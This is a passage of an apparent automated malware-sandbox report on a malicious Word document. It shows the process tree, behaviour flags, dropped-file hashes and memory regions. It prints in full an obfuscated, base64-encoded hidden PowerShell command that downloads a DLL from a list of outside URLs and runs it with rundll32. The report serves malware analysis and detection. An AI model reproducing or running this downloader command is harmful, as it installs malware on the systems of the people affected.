QB7AHQAcgB5AHsAJABBADQANAByAGkAegBjAC4AIgBEAG8AdwBOAGAAbABgAG8AQQBkAGYASQBgAGwAZQAiACgAJABJAGIAbABkAGIANwBtACwAIAAkAEUANwB2AGgANwA4AGYAKQA7ACQAQgA3ADIAZQBfAGMAcAA9ACgAJwBFAHUAJwArACgAJwA5AGoAJwArACcAMQB2ACcAKQArACcAZAAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAgACQARQA3AHYAaAA3ADgAZgApAC4AIgBsAGAAZQBgAE4AZwB0AEgAIgAgAC0AZwBlACAAMwAxADgANwA1ACkAIAB7ACYAKAAnAHIAJwArACcAdQBuAGQAbABsADMAMgAnACsAJwAuAGUAeAAnACsAJwBlACcAKQAgACQARQA3AHYAaAA3ADgAZgAsADAAOwAkAFcAeQBzAGwAMABrAHEAPQAoACcASgAnACsAJwB1ACcAKwAoACcANAAnACsAJwB4AHUAeABrACcAKQApADsAYgByAGUAYQBrADsAJABNADAAYQAzADAAOQA3AD0AKAAoACcASwAnACsAJwBlAF8AJwApACsAJwA4ACcAKwAoACcAdgAnACsAJwA2AGYAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIAYgAzAG8AOQBqAGQAPQAoACgAJwBJACcAKwAnAGcAeAAnACkAKwAnAHQAJwArACgAJwB3AHQAJwArACcAdwAnACkAKQA=1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOwersheLL -w hidden -ENCOD IABTAGUAVAAtAGkAVABFAE0AIAAgAHYAYQBSAGkAQQBiAGwARQA6ADkAZwAzACAAIAAoACAAIABbAFQAWQBQAGUAXQAoACIAewA0AH0AewAxAH0AewAzAH0AewAyAH0AewAwAH0AIgAtAGYAIAAnAFIAWQAnACwAJwBPAC4ARABJAHIARQAnACwAJwBPACcALAAnAEMAdAAnACwAJwBTAFkAcwBUAEUATQAuAEkAJwApACkAIAA7ACAAIAAkAGoAdgA2AHQAYQA3ACAAIAA9ACAAWwB0AFkAUABFAF0AKAAiAHsAOAB9AHsAMgB9AHsANAB9AHsAMwB9AHsANQB9AHsAMAB9AHsAMQB9AHsANwB9AHsANgB9ACIALQBmACcASQBDAEUAcABvACcALAAnAEkAbgBUACcALAAnAGUATQAuAG4AJwAsACcAcwBlAHIAJwAsACcARQBUAC4AJwAsACcAVgAnACwAJwBHAGUAcgAnACwAJwBNAGEAbgBBACcALAAnAFMAeQBzAFQAJwApADsAIAAkAFMAaQBnADQAMABqAG4APQAoACgAJwBWACcAKwAnAHkANgAnACkAKwAnADQAJwArACgAJwBrACcAKwAnAF8AZgAnACkAKQA7ACQARwBpAHYAbQA0AHQANgA9ACQAQQBlAGEANAAyAGUAYQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQwBjADYAdwA4ADcAdAA7ACQARAAzAHkAdQBuAGMAcwA9ACgAKAAnAFMAYwBoACcAKwAnAGUAJwApACsAKAAnADAAMgAnACsAJwA3ACcAKQApADsAIAAoACAAZwBDAGkAIABWAGEAUgBpAGEAQgBsAGUAOgA5AEcAMwApAC4AVgBhAGwAdQBFADoAOgAiAEMAcgBlAGAAQQB0AEUARABJAGAAUgBFAEMAdABvAGAAUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBsAHUAcwAnACsAJwBFACcAKQArACcAZABnACcAKwAoACcAYgAzADQAdQAnACsAJwBsACcAKQArACgAJwB1AHMAJwArACcATQAnACkAKwAoACcANwBrACcAKwAnAG0AJwApACsAKAAnAGUANwBkACcAKwAnAGwAJwApACsAJwB1AHMAJwApACAAIAAtAHIAZQBQAGwAYQBjAEUAIAAgACgAWwBDAGgAQQBSAF0AMQAwADgAKwBbAEMAaABBAFIAXQAxADEANwArAFsAQwBoAEEAUgBdADEAMQA1ACkALABbAEMAaABBAFIAXQA5ADIAKQApADsAJABTAHgAbABfADYAawBkAD0AKAAnAEYANgAnACsAKAAnAHoAOAAnACsAJwBvADMAaAAnACkAKQA7ACAAKABnAGUAVAAtAHYAQQBSAEkAYQBCAGwAZQAgACgAIgBqACIAKwAiAFYANgB0AGEANwAiACkAIAAgAC0AVgBBAGwAVQBlAE8ATgBsAHkAIAApADoAOgAiAHMAYABlAEMAVQByAGAAaQBgAFQAeQBgAFAAUgBPAFQAbwBDAE8ATAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzADEAJwArACcAMgAnACkAKQA7ACQARAByAHkAcwBtAHcAawA9ACgAKAAnAFAAJwArACcAZQBjAHkAOAA4ACcAKQArACcAbwAnACkAOwAkAEQAeABpAG0AcgBoAGkAIAA9ACAAKAAnAEUAJwArACgAJwBvACcAKwAnADcAawAnACkAKwAoACcAdgB1ACcAKwAnAHQAJwApACkAOwAkAFIAYwBtAHQAbgB3AHMAPQAoACcAVwAnACsAKAAnAGsAXwAnACsAJwBzAGQAbgBlACcAKQApADsAJABJAG0AbgAyAGgAcAB6AD0AKAAoACcATABtADEAJwArACcAYQAnACkAKwAnADcAJwArACcAOQBtACcAKQA7ACQARQA3AHYAaAA3ADgAZgA9ACQASABPAE0ARQArACgAKAAoACcAWAA1AGUARQAnACsAJwBkAGcAYgAnACsAJwAzADQAJwApACsAKAAnAHUAJwArACcAWAA1AGUATQAnACkAKwAoACcANwAnACsAJwBrAG0AJwApACsAKAAnAGUANwAnACsAJwBkAFgAJwApACsAJwA1AGUAJwApAC4AIgByAGUAUABsAGAAQQBgAEMARQAiACgAKABbAEMAaABBAHIAXQA4ADgAKwBbAEMAaABBAHIAXQA1ADMAKwBbAEMAaABBAHIAXQAxADAAMQApACwAJwBcACcAKQApACsAJABEAHgAaQBtAHIAaABpACsAKAAnAC4AJwArACgAJwBkAGwAJwArACcAbAAnACkAKQA7ACQAWQA0ADUAawBrADMAdwA9ACgAKAAnAFAAZQA0ACcAKwAnAHcAJwApACsAKAAnADgAJwArACcANwBqACcAKQApADsAJABBADQANAByAGkAegBjAD0AbgBlAFcALQBvAGAAQgBKAEUAYABjAHQAIABuAEUAdAAuAFcAZQBiAGMATABJAGUATgB0ADsAJABTADUAYQBtAHEAZwB2AD0AKAAoACgAKAAnAGgAJwArACcAdAAnACsAJwB0AHAAOgBKACkAKAAzAHMAJwArACcAMgAnACkAKQArACgAKAAnACkAKABKACcAKwAnACkAJwApACkAKwAoACgAJwAoADMAJwArACcAcwAnACkAKQArACgAKAAnADIAKQAnACkAKQArACgAKAAnACgAdQByAGIAJwArACcAYQAnACsAJwBuAHcAeAByAGwAJwArACcAZAAuACcAKQApACsAJwBjAG8AJwArACgAKAAnAG0ASgAnACsAJwApACcAKQApACsAKAAoACcAKAAzACcAKQApACsAKAAoACcAcwAnACsAJwAyACkAKAByAGkAJwArACcAbQAnACkAKQArACcAdwBoACcAKwAoACcAdQAuACcAKwAnAHIAJwApACsAJwBhACcAKwAoACgAJwByAEAAaAB0ACcAKwAnAHQAcAAnACsAJwA6ACcAKwAnAEoAKQAoADMAcwAyACkAJwApACkAKwAoACgAJwAoAEoAJwApACkAKwAoACgAJwApACgAJwApACkAKwAnADMAcwAnACsAKAAoACcAMgApACgAdwB3AHcAJwArACcALgBtACcAKwAnAGEAZAAnACkAKQArACgAJwBtACcAKwAnAGEAJwArACcAeABzAHcAaQAnACsAJwBtACcAKwAnAHcAZQBhAHIALgBjAG8AJwApACsAKAAoACcAbQAnACsAJwBKACkAJwApACkAKwAoACgAJwAoADMAcwAnACsAJwAyACcAKQApACsAJwApACcAKwAoACgAJwAoAGkAawBrACcAKwAnAGEAJwApACkAKwAoACcAaQA4AC4AJwArACcAcgAnACkAKwAnAGEAcgAnACsAKAAoACcAQABoAHQAdAAnACsAJwBwAHMAJwArACcAOgBKACcAKwAnACkAJwApACkAKwAoACgAJwAoADMAJwArACcAcwAyACkAKAAnACkAKQArACcASgAnACsAKAAoACcAKQAoADMAJwArACcAcwAyACkAJwApACkAKwAoACgAJwAoACcAKwAnAG4AJwArACcAdQAnACsAJwBiACcAKwAnAGUAbQBwAC4AYwBvAG0ALgBiAHIASgAnACkAKQArACgAKAAnACkAJwArACcAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACkAKAAnACsAJwBuAGEAJwApACkAKwAoACcAdgBtADAAJwArACcAagB4ACcAKwAnAGcAJwApACsAJwAuACcAKwAoACcAegAnACsAJwBpAHAAQABoAHQAdABwACcAKQArACgAJwBzADoAJwArACcASgAnACkAKwAoACgAJwApACgAJwApACkAKwAnADMAJwArACgAKAAnAHMAMgApACgASgApACcAKwAnACgAJwArACcAMwAnACkAKQArACgAKAAnAHMAMgAnACsAJwApACcAKQApACsAKAAoACcAKABzAGgAJwArACcAYQAnACkAKQArACcAcgBwACcAKwAoACcAZQBjACcAKwAnAC4AYwBvAG0AJwApACsAKAAoACcASgAnACsAJwApACgAMwBzACcAKwAnADIAKQAoACcAKwAnAGoANgBwACcAKQApACsAKAAnAGkAOQBlAHEANwAnACsAJwAuAHIAYQAnACsAJwByAEAAaAB0ACcAKQArACcAdABwACcAKwAnAHMAOgAnACsAJwBKACcAKwAoACgAJwApACgAMwAnACsAJwBzADIAJwArACcAKQAoACcAKwAnAEoAKQAnACkAKQArACgAJwAoADMAJwArACcAcwAyACkAJwApACsAKAAoACcAKABtACcAKwAnAGkAJwApACkAKwAoACcAcgBhAGMAbAAnACsAJwBlAC0AJwApACsAKAAoACcAbQBpACcAKwAnAHMAcwBpAG8AbgBzACcAKwAnAC4AYwBvACcAKwAnAG0ASgApACgAMwAnACsAJwBzADIAKQAoAHIAJwArACcAaQByAGcAJwApACkAKwAnAGMAJwArACgAKAAnAGwAJwArACcAdAA0AGIALgAnACsAJwB6AGkAJwArACcAcABAAGgAdAB0AHAAcwA6AEoAKQAnACkAKQArACgAJwAoACcAKwAnADMAcwAyACkAKABKACkAJwApACsAJwAoACcAKwAoACgAJwAzAHMAMgApACgAYgBsACcAKwAnAGEAJwArACcAYwBrACcAKQApACsAKAAnAGIAJwArACcAZQBhAHIAJwApACsAJwBkACcAKwAoACcAcgBlACcAKwAnAGMAbwAnACkAKwAoACgAJwByAGQAcwAuACcAKwAnAGMAbwBtAEoAKQAnACsAJwAoADMAJwArACcAcwAyACcAKwAnACkAKABqAGQAdAB0AHMAMwBrACcAKQApACsAKAAnAHIAcAAuACcAKwAnAHoAaQBwACcAKwAnAEAAaAB0AHQAJwArACcAcAAnACkAKwAoACgAJwBzADoASgApACgAMwAnACsAJwBzACcAKwAnADIAKQAoAEoAKQAnACsAJwAoACcAKQApACsAKAAoACcAMwBzADIAKQAoACcAKwAnAG8AYwBoAGEAYwBsAGUAYQBuACcAKwAnAC4AJwApACkAKwAnAGMAbwAnACsAKAAoACcAbQBKACkAJwArACcAKAAzAHMAJwArACcAMgAnACkAKQArACgAKAAnACkAJwArACcAKAB4ACcAKwAnADgAcQBhACcAKQApACsAKAAnAHgAcgA1ACcAKwAnADUALgB6AGkAJwArACcAcABAAGgAdAB0ACcAKwAnAHAAcwAnACsAJwA6ACcAKQArACgAKAAnAEoAKQAnACkAKQArACgAKAAnACgAMwBzADIAJwArACcAKQAoACcAKQApACsAKAAoACcASgApACcAKwAnACgAMwBzACcAKwAnADIAJwApACkAKwAoACgAJwApACcAKwAnACgAYwBoACcAKQApACsAJwBhACcAKwAnAGsAYQAnACsAJwBuACcAKwAoACgAJwBhAGUAYwB1AC4AYwBvAG0AJwArACcASgApACcAKwAnACgAMwBzADIAKQAnACsAJwAoAHoAdgAnACsAJwBoADQAYQAnACkAKQArACgAJwBjAHoAJwArACcANwAuACcAKQArACcAcgBhACcAKwAnAHIAJwApACkALgAiAHIAYABlAFAAbABhAEMARQAiACgAKAAoACcASgAnACsAKAAoACcAKQAnACsAJwAoADMAJwArACcAcwAyACkAJwApACkAKwAnACgAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAJwArACcAdwBlACcAKQApAFsAMABdACkALgAiAFMAUABgAEwAaQB0ACIAKAAkAEcAMwA5AGoAZwAzAHgAIAArACAAJABHAGkAdgBtADQAdAA2ACAAKwAgACQASgBhAGMAYgA4AHMAYwApADsAJABZAHAAdQBrAHQANQA2AD0AKAAoACcAUwAnACsAJwBvAGYAJwApACsAKAAnAGQAJwArACcAeABjAHAAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEkAYgBsAGQAYgA3AG0AIABpAG4AIAAkAFMANQBhAG0AcQBnAHYAIAB8ACAAUwBgAG8AcgB0AGAALQBgAG8AQgBqAEUAQwB0ACAAewBHAGAARQBUAC0AUgBgAEEAbgBgAGQATwBNAH0AKQB7AHQAcgB5AHsAJABBADQANAByAGkAegBjAC4AIgBEAG8AdwBOAGAAbABgAG8AQQBkAGYASQBgAGwAZQAiACgAJABJAGIAbABkAGIANwBtACwAIAAkAEUANwB2AGgANwA4AGYAKQA7ACQAQgA3ADIAZQBfAGMAcAA9ACgAJwBFAHUAJwArACgAJwA5AGoAJwArACcAMQB2ACcAKQArACcAZAAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAgACQARQA3AHYAaAA3ADgAZgApAC4AIgBsAGAAZQBgAE4AZwB0AEgAIgAgAC0AZwBlACAAMwAxADgANwA1ACkAIAB7ACYAKAAnAHIAJwArACcAdQBuAGQAbABsADMAMgAnACsAJwAuAGUAeAAnACsAJwBlACcAKQAgACQARQA3AHYAaAA3ADgAZgAsADAAOwAkAFcAeQBzAGwAMABrAHEAPQAoACcASgAnACsAJwB1ACcAKwAoACcANAAnACsAJwB4AHUAeABrACcAKQApADsAYgByAGUAYQBrADsAJABNADAAYQAzADAAOQA3AD0AKAAoACcASwAnACsAJwBlAF8AJwApACsAJwA4ACcAKwAoACcAdgAnACsAJwA2AGYAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIAYgAzAG8AOQBqAGQAPQAoACgAJwBJACcAKwAnAGcAeAAnACkAKwAnAHQAJwArACgAJwB3AHQAJwArACcAdwAnACkAKQA=2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Edgb34u\M7kme7d\Eo7kvut.dll 03⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Edgb34u\M7kme7d\Eo7kvut.dll 04⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Checks whether UAC is enabled
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015MD5
b31f3ce855aec9384e515d5fa9465845
SHA1167fac4ecadc73772210109fdf735f4166d6ef8b
SHA256d0064583cbd22a8e73e5b2e09dcbbf55a60ce36eb0c7d65c9c75bab2f3910a65
SHA512c83fa8ba1d5ff8aa777b799d654744a9a923b10e9578b3ac0abf6ccf785e7e8e414d63c3dac5e4bb6a43c039c34e0cf6e107a4f75859758014241a574cae48d0
-
C:\Users\Admin\Edgb34u\M7kme7d\Eo7kvut.dllMD5
46e95b9db849cf51eb1b24d2db6a851a
SHA13a9349f512d29ee963078c624dffeb16b30a3ddf
SHA2560092c5c2c195188636724d91f2da7d4840e37d7e8dc3271e066664b66183f463
SHA5123d000cc370109c4e50da69404492ea91b459c4a25f64cdbb4f14b025c9ce1447e512182d33a31e5830a7891af5c63345b19849a096b3572d10caa2e8cb5c7612
-
\Users\Admin\Edgb34u\M7kme7d\Eo7kvut.dllMD5
46e95b9db849cf51eb1b24d2db6a851a
SHA13a9349f512d29ee963078c624dffeb16b30a3ddf
SHA2560092c5c2c195188636724d91f2da7d4840e37d7e8dc3271e066664b66183f463
SHA5123d000cc370109c4e50da69404492ea91b459c4a25f64cdbb4f14b025c9ce1447e512182d33a31e5830a7891af5c63345b19849a096b3572d10caa2e8cb5c7612
-
\Users\Admin\Edgb34u\M7kme7d\Eo7kvut.dllMD5
46e95b9db849cf51eb1b24d2db6a851a
SHA13a9349f512d29ee963078c624dffeb16b30a3ddf
SHA2560092c5c2c195188636724d91f2da7d4840e37d7e8dc3271e066664b66183f463
SHA5123d000cc370109c4e50da69404492ea91b459c4a25f64cdbb4f14b025c9ce1447e512182d33a31e5830a7891af5c63345b19849a096b3572d10caa2e8cb5c7612
-
\Users\Admin\Edgb34u\M7kme7d\Eo7kvut.dllMD5
46e95b9db849cf51eb1b24d2db6a851a
SHA13a9349f512d29ee963078c624dffeb16b30a3ddf
SHA2560092c5c2c195188636724d91f2da7d4840e37d7e8dc3271e066664b66183f463
SHA5123d000cc370109c4e50da69404492ea91b459c4a25f64cdbb4f14b025c9ce1447e512182d33a31e5830a7891af5c63345b19849a096b3572d10caa2e8cb5c7612
-
\Users\Admin\Edgb34u\M7kme7d\Eo7kvut.dllMD5
46e95b9db849cf51eb1b24d2db6a851a
SHA13a9349f512d29ee963078c624dffeb16b30a3ddf
SHA2560092c5c2c195188636724d91f2da7d4840e37d7e8dc3271e066664b66183f463
SHA5123d000cc370109c4e50da69404492ea91b459c4a25f64cdbb4f14b025c9ce1447e512182d33a31e5830a7891af5c63345b19849a096b3572d10caa2e8cb5c7612
-
memory/1208-3-0x00000000064F0000-0x00000000064F4000-memory.dmpFilesize
16KB
-
memory/1208-2-0x00000000004B6000-0x00000000004BF000-memory.dmpFilesize
36KB
-
memory/1220-5-0x0000000000000000-mapping.dmp
-
memory/1496-8-0x0000000002280000-0x0000000002281000-memory.dmpFilesize
4KB
-
memory/1496-13-0x000000001BA30000-0x000000001BA31000-memory.dmpFilesize
4KB
-
memory/1496-12-0x000000001ABA0000-0x000000001ABA1000-memory.dmpFilesize
4KB
-
memory/1496-11-0x00000000022C0000-0x00000000022C1000-memory.dmpFilesize
4KB
-
memory/1496-10-0x0000000002360000-0x0000000002361000-memory.dmpFilesize
4KB
-
memory/1496-9-0x000000001ACF0000-0x000000001ACF1000-memory.dmpFilesize
4KB
-
memory/1496-7-0x000007FEF5460000-0x000007FEF5E4C000-memory.dmpFilesize
9.9MB
-
memory/1496-6-0x0000000000000000-mapping.dmp
-
memory/1552-16-0x0000000000000000-mapping.dmp
-
memory/1552-21-0x0000000000370000-0x00000000003AD000-memory.dmpFilesize
244KB
-
memory/1680-14-0x0000000000000000-mapping.dmp
-
memory/1956-22-0x000007FEF7900000-0x000007FEF7B7A000-memory.dmpFilesize
2.5MB